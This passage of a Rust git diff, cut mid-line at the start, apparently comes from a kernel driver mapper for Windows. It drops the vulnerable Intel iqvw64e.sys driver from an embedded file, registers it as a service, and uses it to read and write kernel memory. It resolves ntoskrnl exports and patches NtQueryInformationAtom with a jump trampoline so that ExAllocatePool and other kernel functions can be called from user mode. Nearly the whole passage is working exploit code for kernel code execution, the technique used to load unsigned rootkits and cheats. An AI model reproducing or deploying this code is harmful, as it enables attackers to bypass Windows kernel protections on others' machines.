address: u64, buffer: u64, size: u64) -> bool { + copy_memory(service, address, buffer, size) } -pub fn force_write_memory(service: HANDLE, address: u64, buffer: *mut usize, size: u32) -> bool { - if address == 0 || buffer.is_null() || size == 0 { +pub fn force_write_memory(service: HANDLE, address: u64, buffer: u64, size: u32) -> bool { + if address == 0 || buffer == 0 || size == 0 { + println!( + "requirements not met! {:x} -> {:x} -> {:x}", + address, buffer, size + ); return false; } @@ -223,7 +227,7 @@ pub fn force_write_memory(service: HANDLE, address: u64, buffer: *mut usize, siz if !get_physical_address(service, address, &mut physical_address) { panic!("Failed to translate virtual address!"); - } + }; let mapped_physical_mem = map_io_space(service, physical_address, size); @@ -242,7 +246,7 @@ pub fn force_write_memory(service: HANDLE, address: u64, buffer: *mut usize, siz type ExAllocatePoolFn = unsafe extern "system" fn(i32, usize) -> *mut usize; -pub fn allocate_pool(service: HANDLE, pool_type: i32, size: u64) -> u64 { +pub fn allocate_pool(service: HANDLE, pool_type: i32, size: SIZE_T) -> u64 { if size == 0 { return 0; } @@ -251,11 +255,10 @@ pub fn allocate_pool(service: HANDLE, pool_type: i32, size: u64) -> u64 { unsafe { if KERNEL_EX_ALLOCATE_POOL == 0 { - KERNEL_EX_ALLOCATE_POOL = get_kernel_module_export( - service, - get_kernel_module_address("ntoskrnl.exe") as _, - "ExAllocatePool", - ); + let base = get_kernel_module_address("ntoskrnl.exe".to_string()); + + KERNEL_EX_ALLOCATE_POOL = + get_kernel_module_export(service, base as _, "ExAllocatePool"); } let mut allocated_pool: u64 = 0; @@ -265,14 +268,15 @@ pub fn allocate_pool(service: HANDLE, pool_type: i32, size: u64) -> u64 { &mut |address| { allocated_pool = (transmute::<*mut usize, ExAllocatePoolFn>(address))(pool_type, size as _) as _; - true }, KERNEL_EX_ALLOCATE_POOL, ) { + println!("call kernel fn failed!"); return 0; } + println!("Allocated pool: {:x}", allocated_pool); allocated_pool } } @@ -290,7 +294,7 @@ pub fn free_pool(service: HANDLE, addy: u64) -> bool { if KERNEL_EX_FREE_POOL == 0 { KERNEL_EX_FREE_POOL = get_kernel_module_export( service, - get_kernel_module_address("ntoskrnl.exe") as _, + get_kernel_module_address("ntoskrnl.exe".to_string()) as _, "ExFreePool", ); } diff --git a/src/util/mod.rs b/src/util/mod.rs index d1a720f..e72b722 100644 --- a/src/util/mod.rs +++ b/src/util/mod.rs @@ -1,12 +1,18 @@ use core::panic; use std::{ - ffi::{CStr, CString}, + ffi::CStr, io::{Read, Write}, + path::{Path, PathBuf}, }; use winapi::{ - shared::ntdef::NT_SUCCESS, + ctypes::c_void, + shared::{ + minwindef::DWORD, + ntdef::{NT_SUCCESS, ULONG}, + }, um::{ + errhandlingapi::SetLastError, libloaderapi::{GetProcAddress, LoadLibraryA}, memoryapi::{VirtualAlloc, VirtualFree}, winnt::{ @@ -23,31 +29,37 @@ use winapi::{ }, }; +pub static DRIVER_NAME: &str = "iqvw64e.sys\0"; + use crate::{ - nt, + nt::{self, RtlProcessModuleInformation}, service::{self, force_write_memory, read_memory}, util, }; -pub fn create_file_from_memory(file: &str, address: usize, size: usize) -> bool { - let mut file = std::fs::File::create(file).expect("Couldn't create/open file!"); +pub fn get_temporary_folder_path() -> PathBuf { + std::env::temp_dir() +} - let mut data = vec![0u8; size]; // spawn a buffer size of the memory - unsafe { - std::ptr::copy( - address as *const i8, - data.as_mut_ptr() as *mut _, - data.len(), - ) - }; +pub fn get_path_to_driver() -> PathBuf { + let mut path = get_temporary_folder_path(); + path.push(DRIVER_NAME.strip_suffix('\0').unwrap()); - file.write_all(data.as_slice()) - .expect("Couldn't write file"); + path +} + +pub fn create_driver_file(file: &String) -> bool { + let mut file = std::fs::File::create(Path::new(file)).expect("Couldn't create/open file!"); + + // Thank god for this macro! + let driver = include_bytes!("../mapper/driver.sys"); + + file.write_all(driver).expect("Couldn't write file"); true } -pub fn read_file_from_memory(file: &str, buffer: &mut Vec) -> bool { +pub fn read_file_to_memory(file: &String, buffer: &mut Vec) -> bool { let mut file = std::fs::File::open(file).expect("Couldn't open file"); file.read_to_end(buffer).expect("Couldn't read file"); @@ -55,15 +67,19 @@ pub fn read_file_from_memory(file: &str, buffer: &mut Vec) -> bool { true } -pub fn create_and_start_service(file: &str) -> bool { - let filename = CString::new( - std::path::Path::new(file) - .file_name() - .expect("Couldn't get filname") - .to_str() - .expect("Couldn't convert to str"), - ) - .expect("Couldn't convert to CString"); +pub fn create_and_start_service(file: &String) -> bool { + let mut filename = std::path::Path::new(file) + .file_name() + .expect("Couldn't get filname") + .to_str() + .expect("Couldn't convert to str") + .to_string(); + filename.push('\0'); + + println!("File name: {}", filename); + + let mut actual_file_path = file.to_owned(); + actual_file_path.push('\0'); let manager = unsafe { OpenSCManagerA( @@ -80,13 +96,13 @@ pub fn create_and_start_service(file: &str) -> bool { let mut service = unsafe { CreateServiceA( manager, - filename.as_ptr(), - filename.as_ptr(), + DRIVER_NAME.as_ptr() as _, + DRIVER_NAME.as_ptr() as _, SERVICE_START | SERVICE_STOP | DELETE, SERVICE_KERNEL_DRIVER, SERVICE_DEMAND_START, SERVICE_ERROR_IGNORE, - file.as_ptr() as *const i8, + actual_file_path.as_ptr() as _, std::ptr::null_mut(), std::ptr::null_mut(), std::ptr::null_mut(), @@ -98,7 +114,7 @@ pub fn create_and_start_service(file: &str) -> bool { if service.is_null() { println!("Unable to create service, attempting to open instead"); - service = unsafe { OpenServiceA(manager, filename.as_ptr(), SERVICE_START) }; + service = unsafe { OpenServiceA(manager, filename.as_ptr() as _, SERVICE_START) }; if service.is_null() { unsafe { CloseServiceHandle(manager) }; @@ -152,14 +168,14 @@ pub fn delete_and_stop_service(name: &str) -> bool { result } -pub fn get_kernel_module_address(name: &str) -> usize { - let mut buffer: usize = 0; - let mut buffer_size = 0u64; +pub fn get_kernel_module_address(name: String) -> u64 { + let mut buffer: *mut c_void = std::ptr::null_mut(); + let mut buffer_size: DWORD = 0; - let mut system_info = nt::query_system_information(&mut buffer, &mut buffer_size); + let mut system_info = nt::query_system_information(buffer, &mut buffer_size); - while system_info as u32 == nt::STATUS_INFO_LENGHT_MISMATCH { - unsafe { VirtualFree(buffer as _, 0, MEM_RELEASE) }; + while system_info.result as u32 == nt::STATUS_INFO_LENGHT_MISMATCH { + unsafe { VirtualFree(buffer, 0, MEM_RELEASE) }; buffer = unsafe { VirtualAlloc( @@ -169,40 +185,56 @@ pub fn get_kernel_module_address(name: &str) -> usize { PAGE_READWRITE, ) } as _; - system_info = nt::query_system_information(&mut buffer, &mut buffer_size); + system_info = nt::query_system_information(buffer, &mut buffer_size); } - if !NT_SUCCESS(system_info) { - unsafe { VirtualFree(buffer as _, 0, MEM_RELEASE) }; - return 0usize; + if !NT_SUCCESS(system_info.result) { + unsafe { VirtualFree(system_info.buffer, 0, MEM_RELEASE) }; + return 0u64; } - let modules: nt::RtlProcessModules = unsafe { (buffer as *mut nt::RtlProcessModules).read() }; + let modules = buffer as *mut nt::RtlProcessModules; - for i in 0..modules.number_of_modules { - let module_name = unsafe { - CStr::from_ptr( - (modules.modules[i as usize].full_path_name.as_ptr() as usize - + modules.modules[i as usize].offset_to_file_name as usize) - as _, - ) - .to_str() - .expect("Couldn't parse name") - .to_string() - }; + unsafe { + for i in 0..(*modules).number_of_modules { + let current_module = (buffer as usize + + std::mem::size_of::() + + i as usize * std::mem::size_of::()) + as *mut RtlProcessModuleInformation; - if module_name.eq(name) { - let result = modules.modules[i as usize].image_base as usize; + let module_name = String::from_utf8( + (*current_module) + .full_path_name + .iter() + .skip(4) + .map(|i| *i as u8) + .take_while(|&i| i as char != char::from(0)) + .collect(), + ); - unsafe { VirtualFree(buffer as _, 0, MEM_RELEASE) }; + if !module_name.is_ok() { + continue; + } - return result; + let actual_name = module_name.unwrap(); + + let image_base_test = + current_module as usize + std::mem::size_of::<*mut c_void>() * 2usize; + + if actual_name.contains(&name) { + let result = ((image_base_test + 4usize) as *mut u64).read(); + VirtualFree(buffer as _, 0, MEM_RELEASE); + + // Due to call earlier we get an invalid address error-code, we can just clear it and ignore it. + SetLastError(0); + + return result; + } } } unsafe { VirtualFree(buffer as _, 0, MEM_RELEASE) }; - - 0usize + 0u64 } pub fn get_kernel_module_export(service: HANDLE, kernel_module_base: u64, fn_name: &str) -> u64 { @@ -219,13 +251,16 @@ pub fn get_kernel_module_export(service: HANDLE, kernel_module_base: u64, fn_nam &mut dos_header as *mut IMAGE_DOS_HEADER as _, std::mem::size_of::() as _, ) || dos_header.e_magic != IMAGE_DOS_SIGNATURE - || !service::read_memory( - service, - kernel_module_base + dos_header.e_lfanew as u64, - &mut nt_header as *mut IMAGE_NT_HEADERS64 as _, - std::mem::size_of::() as _, - ) - || nt_header.Signature != IMAGE_NT_SIGNATURE + { + return 0; + } + + if !service::read_memory( + service, + kernel_module_base + dos_header.e_lfanew as u64, + &mut nt_header as *mut IMAGE_NT_HEADERS64 as _, + std::mem::size_of::() as _, + ) || nt_header.Signature != IMAGE_NT_SIGNATURE { return 0; } @@ -260,17 +295,25 @@ pub fn get_kernel_module_export(service: HANDLE, kernel_module_base: u64, fn_nam let delta = export_data as u64 - export_base as u64; - let name_table = unsafe { ((*export_data).AddressOfNames + delta as u32) as *mut u32 }; + let name_table = unsafe { ((*export_data).AddressOfNames as u64 + delta) as *mut u32 }; let ordinal_table = - unsafe { ((*export_data).AddressOfNameOrdinals + delta as u32) as *mut u16 }; - let function_table = unsafe { ((*export_data).AddressOfFunctions + delta as u32) as *mut u32 }; + unsafe { ((*export_data).AddressOfNameOrdinals as u64 + delta) as *mut u16 }; + let function_table = unsafe { ((*export_data).AddressOfFunctions as u64 + delta) as *mut u32 }; for i in 0..unsafe { (*export_data).NumberOfNames } as isize { - let current_function_name = - unsafe { CStr::from_ptr((name_table.offset(i).read() as u64 + delta) as _) } + // let current_function_name = + // unsafe { CString::from_raw((name_table.offset(i).read() as u64 + delta) as _) } + // .to_str() + // .expect("Couldn't convert to str") + // .to_string(); + let name_ptr = unsafe { name_table.offset(i).read() as u64 + delta } as *mut char; + let current_function_name = unsafe { + CStr::from_ptr(name_ptr as _) + .to_owned() .to_str() - .expect("Couldn't convert to str") - .to_string(); + .unwrap() + .to_string() + }; if current_function_name.eq(fn_name) { let fn_ordinal = unsafe { ordinal_table.offset(i).read() }; @@ -290,7 +333,7 @@ pub fn get_kernel_module_export(service: HANDLE, kernel_module_base: u64, fn_nam } unsafe { VirtualFree(export_data as _, 0, MEM_RELEASE) }; - panic!("Couldn't find export..."); + panic!("Couldn't find export: {}...", fn_name); } pub fn get_nt_gdi_dd_ddl_reclaim_allocations_info( @@ -306,7 +349,7 @@ pub fn get_nt_gdi_dd_ddl_reclaim_allocations_info( if unsafe { KERNEL_FUNCTION_PTR == 0 || KERNEL_ORIGINAL_FUNCTION_ADDRESS == 0 } { let nt_gdi_ddi_reclaim_allocations2 = get_kernel_module_export( service, - util::get_kernel_module_address("win32kbase.sys") as _, + util::get_kernel_module_address("win32kbase.sys".to_string()) as _, "NtGdiDdDDIReclaimAllocations2", ); @@ -321,7 +364,7 @@ pub fn get_nt_gdi_dd_ddl_reclaim_allocations_info( if !read_memory( service, kernel_function_ptr_offset_address, - &mut function_ptr_offset, + &mut function_ptr_offset as *mut _ as u64, std::mem::size_of::() as _, ) { return false; @@ -335,7 +378,7 @@ pub fn get_nt_gdi_dd_ddl_reclaim_allocations_info( !read_memory( service, KERNEL_FUNCTION_PTR, - &mut KERNEL_ORIGINAL_FUNCTION_ADDRESS as *mut u64 as *mut _, + &mut KERNEL_ORIGINAL_FUNCTION_ADDRESS as *mut _ as u64, std::mem::size_of::() as _, ) } { @@ -362,7 +405,7 @@ pub fn get_nt_gdi_get_copp_compatible_opm_information_info( let nt_gdi_get_copp_compatible_opm_information_info = get_kernel_module_export( service, - get_kernel_module_address("win32kbase.sys") as _, + get_kernel_module_address("win32kbase.sys".to_string()) as _, "NtGdiGetCOPPCompatibleOPMInformation", ); @@ -370,17 +413,19 @@ pub fn get_nt_gdi_get_copp_compatible_opm_information_info( println!("Unable to find NtGdiGetCOPPCompatibleOPMInformation"); return false; } - - unsafe { KERNEL_FUNCTION_PTR = nt_gdi_get_copp_compatible_opm_information_info }; + unsafe { + KERNEL_FUNCTION_PTR = nt_gdi_get_copp_compatible_opm_information_info; + } if unsafe { !read_memory( service, KERNEL_FUNCTION_PTR, - KERNEL_ORIGINAL_BYTES.as_mut_ptr() as *mut _, + KERNEL_ORIGINAL_BYTES.as_mut_ptr() as *mut _ as u64, (std::mem::size_of::() * KERNEL_ORIGINAL_BYTES.len() as usize) as _, ) } { + println!("ReadMemory failed!!"); return false; } } @@ -397,113 +442,172 @@ pub fn get_nt_gdi_get_copp_compatible_opm_information_info( true } -// Since rust doesn't support variadic arguments as of now, we will return a pointer to the function, we have no choice. +// Smart way to do this eh? pub fn call_kernel_fn( service: HANDLE, call_function: &mut dyn FnMut(*mut usize) -> bool, - mut kernel_function_address: u64, + kernel_function_address: u64, ) -> bool { if kernel_function_address == 0 { - return false; + panic!("Kernel export apparently 0? What are we gonna do about it?"); } // Wrap entire function because why not. unsafe { - let nt_gdi_dd_ddi_reclaim_allocations = GetProcAddress( - LoadLibraryA("gdi32full.dll".as_ptr() as _), - "NtGdiDdDDIReclaimAllocations2".as_ptr() as _, - ); - let nt_gdi_get_copp_compatible_opm_information = GetProcAddress( - LoadLibraryA("win32u.dll".as_ptr() as _), - "NtGdiGetCOPPCompatibleOPMInformation".as_ptr() as _, + let nt_query_information_atom = GetProcAddress( + LoadLibraryA("ntdll.dll\0".as_ptr() as _), + "NtQueryInformationAtom\0".as_ptr() as _, ); - if nt_gdi_dd_ddi_reclaim_allocations.is_null() - && nt_gdi_get_copp_compatible_opm_information.is_null() - { - panic!("Failed to find NtGdiDdDDIReclaimAllocations2 or NtGdiGetCOPPCompatibleOPMInformation"); + if nt_query_information_atom.is_null() { + panic!("Couldn't find target function, are you on 20h2?") } - let mut kernel_fn_pointer: u64 = 0; - let mut kernel_function_jmp: [u8; 12] = [ + let mut kernel_injected_jmp: [u8; 12] = [ 0x48, 0xb8, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xff, 0xe0, ]; - let mut kernel_original_function_address: u64 = 0; - let mut kernel_original_function_jmp = vec![0u8, 12]; + let mut original_kernel_fn = vec![0u8; 12]; - if !nt_gdi_dd_ddi_reclaim_allocations.is_null() { - // Get function pointer (@win32kbase!gDxgkInterface table) used by NtGdiDdDDIReclaimAllocations2 - // and save the original address (dxgkrnl!DxgkReclaimAllocations2) - if !get_nt_gdi_dd_ddl_reclaim_allocations_info( - service, - &mut kernel_fn_pointer, - &mut kernel_original_function_address, - ) { - return false; - } + ((kernel_injected_jmp.as_mut_ptr() as usize + 2usize) as *mut u64) + .write(kernel_function_address); - // Overwrite the pointer with kernel_function_address - if !force_write_memory( - service, - kernel_fn_pointer, - &mut kernel_function_address as *mut u64 as _, - std::mem::size_of::() as _, - ) { - return false; - } - } else { - if !get_nt_gdi_get_copp_compatible_opm_information_info( - service, - &mut kernel_fn_pointer, - kernel_original_function_jmp.as_mut_ptr(), - ) { - return false; - } + let kernel_nt_query_information_atom = get_kernel_module_export( + service, + get_kernel_module_address("ntoskrnl.exe".to_string()), + "NtQueryInformationAtom", + ); - // Overwrite jmp with 'movabs rax, , jmp rax' - std::ptr::copy( - &kernel_function_address, - (kernel_function_jmp.as_ptr() as usize + 2usize) as _, - std::mem::size_of::(), - ); - - if !force_write_memory( - service, - kernel_fn_pointer, - kernel_function_jmp.as_mut_ptr() as *mut _, - (std::mem::size_of::() * kernel_function_jmp.len() as usize) as _, - ) { - return false; - } + if kernel_nt_query_information_atom == 0 { + println!("Couldn't get export ntoskrnl.NtQueryInformationAtom"); + return false; } - let mut function = std::ptr::null_mut(); - if !nt_gdi_get_copp_compatible_opm_information.is_null() { - function = nt_gdi_get_copp_compatible_opm_information; - } else if !nt_gdi_dd_ddi_reclaim_allocations.is_null() { - function = nt_gdi_dd_ddi_reclaim_allocations; + if !read_memory( + service, + kernel_nt_query_information_atom, + original_kernel_fn.as_mut_ptr() as _, + kernel_injected_jmp.len() as _, + ) { + println!("Couldn't read memory"); + return false; } - if !function.is_null() { - call_function(function as _); + if !force_write_memory( + service, + kernel_nt_query_information_atom, + kernel_injected_jmp.as_ptr() as _, + kernel_injected_jmp.len() as _, + ) { + println!("Couldn't write memory"); + return false; } - if !nt_gdi_dd_ddi_reclaim_allocations.is_null() { - force_write_memory( - service, - kernel_fn_pointer, - &mut kernel_original_function_address as *mut u64 as _, - std::mem::size_of::() as _, - ); - } else { - force_write_memory( - service, - kernel_fn_pointer, - kernel_original_function_jmp.as_mut_ptr() as *mut _, - (std::mem::size_of::() * kernel_function_jmp.len() as usize) as _, - ); + call_function(nt_query_information_atom as _); + + if !force_write_memory( + service, + kernel_nt_query_information_atom, + original_kernel_fn.as_mut_ptr() as _, + original_kernel_fn.len() as _, + ) { + println!("Couldn't restore function!"); + return false; } + + // NOTE: this is for older versions of windows! + // let nt_gdi_dd_ddi_reclaim_allocations = GetProcAddress( + // LoadLibraryA("gdi32full.dll\0".as_ptr() as _), + // "NtGdiDdDDIReclaimAllocations2\0".as_ptr() as _, + // ); + // let nt_gdi_get_copp_compatible_opm_information = GetProcAddress( + // LoadLibraryA("win32u.dll\0".as_ptr() as _), + // "NtGdiGetCOPPCompatibleOPMInformation\0".as_ptr() as _, + // ); + + // if nt_gdi_dd_ddi_reclaim_allocations.is_null() + // && nt_gdi_get_copp_compatible_opm_information.is_null() + // { + // panic!("Failed to find NtGdiDdDDIReclaimAllocations2 or NtGdiGetCOPPCompatibleOPMInformation"); + // } + + // let mut kernel_fn_pointer: u64 = 0; + // let mut kernel_original_function_address: u64 = 0; + // let mut kernel_original_function_jmp = vec![0u8, 12]; + + // if !nt_gdi_dd_ddi_reclaim_allocations.is_null() { + // // Get function pointer (@win32kbase!gDxgkInterface table) used by NtGdiDdDDIReclaimAllocations2 + // // and save the original address (dxgkrnl!DxgkReclaimAllocations2) + // if !get_nt_gdi_dd_ddl_reclaim_allocations_info( + // service, + // &mut kernel_fn_pointer, + // &mut kernel_original_function_address, + // ) { + // return false; + // } + + // // Overwrite the pointer with kernel_function_address + // if !force_write_memory( + // service, + // kernel_fn_pointer, + // &mut kernel_function_address as *mut u64 as _, + // std::mem::size_of::() as _, + // ) { + // return false; + // } + // } else { + // if !get_nt_gdi_get_copp_compatible_opm_information_info( + // service, + // &mut kernel_fn_pointer, + // kernel_original_function_jmp.as_mut_ptr(), + // ) { + // return false; + // } + + // // Overwrite jmp with 'movabs rax, , jmp rax' + // std::ptr::copy( + // &kernel_function_address, + // (kernel_function_jmp.as_ptr() as usize + 2usize) as _, + // std::mem::size_of::(), + // ); + + // if !force_write_memory( + // service, + // kernel_fn_pointer, + // kernel_function_jmp.as_mut_ptr() as *mut _, + // (std::mem::size_of::() * kernel_function_jmp.len() as usize) as _, + // ) { + // return false; + // } + // } + + // let mut function = std::ptr::null_mut(); + // if !nt_gdi_get_copp_compatible_opm_information.is_null() { + // function = nt_gdi_get_copp_compatible_opm_information; + // } else if !nt_gdi_dd_ddi_reclaim_allocations.is_null() { + // function = nt_gdi_dd_ddi_reclaim_allocations; + // } + + // if !function.is_null() { + // call_function(function as _); + // } + + // if !nt_gdi_get_copp_compatible_opm_information.is_null() { + // force_write_memory( + // service, + // kernel_fn_pointer, + // &mut kernel_original_function_address as *mut u64 as _, + // std::mem::size_of::() as _, + // ); + // } else { + // force_write_memory( + // service, + // kernel_fn_pointer, + // kernel_original_function_jmp.as_mut_ptr() as *mut _, + // (std::mem::size_of::() * kernel_function_jmp.len() as usize) as _, + // ); + // } } + println!("Succesfully called kernel fn!"); true }